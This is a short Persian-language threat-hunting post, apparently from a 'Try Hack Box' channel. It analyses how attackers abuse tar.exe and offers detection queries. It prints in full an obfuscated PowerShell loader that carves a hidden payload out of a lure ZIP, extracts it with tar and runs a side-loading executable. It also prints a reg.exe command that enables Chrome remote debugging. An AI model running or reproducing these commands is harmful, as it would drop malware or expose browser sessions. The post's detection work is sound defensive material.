Try Hack Box

🥀 جهان یادگار است و ما رفتنی
🥀به گیتی نماند به جز مردمی

امروز بررسی می‌کنیم که مهاجمان چگونه از ابزار tar اکسپلویت می‌کنند و چگونه می‌توان از این موضوع برای شکار پیش‌ دستانه (Proactive Hunting) استفاده کرد.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c " ;; ;$uojsbmkvp = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *'Agenda_Meeting 26 Sep Brussels'.zip).fullname; ;;$ophcrygyu=[System.IO.File]::ReadAllBytes($uojsbmkvp);$xkasluyk=721; ;$lrbnaoxkomoi=[char]87+'r'+[char]105+'te'+[char]65+'l'+[char]108+'b'+[char]121+'tes'; ;echo $xkasluyk; ; ;echo $xkasluyk;;[System.IO.File]::$lrbnaoxkomoi($Env:temp+'\\rjnlzlkfe.ta', $ophcrygyu[$xkasluyk..($xkasluyk+1204224-1)]); ;;;echo $xkasluyk;;;;echo $xkasluyk;; TaR -xvf $Env:TEMP\rjnlzlkfe.ta -C $Env:Temp; Start-Process $Env:temp\cnmpaui.exe;"

یک بخش پنهان از داده‌ها که داخل این ZIP جاسازی شده را استخراج می‌کند (از بایت 721 به بعد)

این بخش پنهان را در یک فایل موقت ذخیره می‌کند (rjnlzlkfe.ta)

آن را با استفاده از tar استخراج می‌کند

یک فایل اجرایی را اجرا می‌کند

cnmpaui.exe :
— یک فایل قانونی که برای side-loading استفاده می‌شود

tar.exe -xvf C:\Users\<USER>\AppData\Local\Temp\rjnlzlkfe.ta -C C:\Users\<USER>\AppData\Local\Temp

event_type: "processcreatewin"

AND

proc_p_file_path: "powershell.exe"

AND

proc_file_path: "tar.exe"

event_type: "processcreatewin"

AND

proc_file_path: "tar.exe"

AND

cmdline: ("xvf" AND "temp")

به نظر شما بهترین راه شناسایی اجرای مشکوک tar در سناریوهای واقعی چیست؟

reg.exe add HKEY_CURRENT_USER\Software\Policies\Google\Chrome /v RemoteDebuggingAllowed /t REG_DWORD /d 1 /f

event_type: "processcreatewin"

AND

proc_file_path: "reg.exe"

AND

cmdline: "RemoteDebuggingAllowed"

event_type: "registryvaluesetwin"

AND

reg_key_path: "RemoteDebuggingAllowed"

به نظر شما بهترین روش تشخیص و مقابله با چنین سوءاستفاده‌ای در محیط‌های سازمانی چیست و چه لاگ‌ها یا کنترل‌های دیگری را می‌توان برای شناسایی زودهنگام آن به کار گرفت؟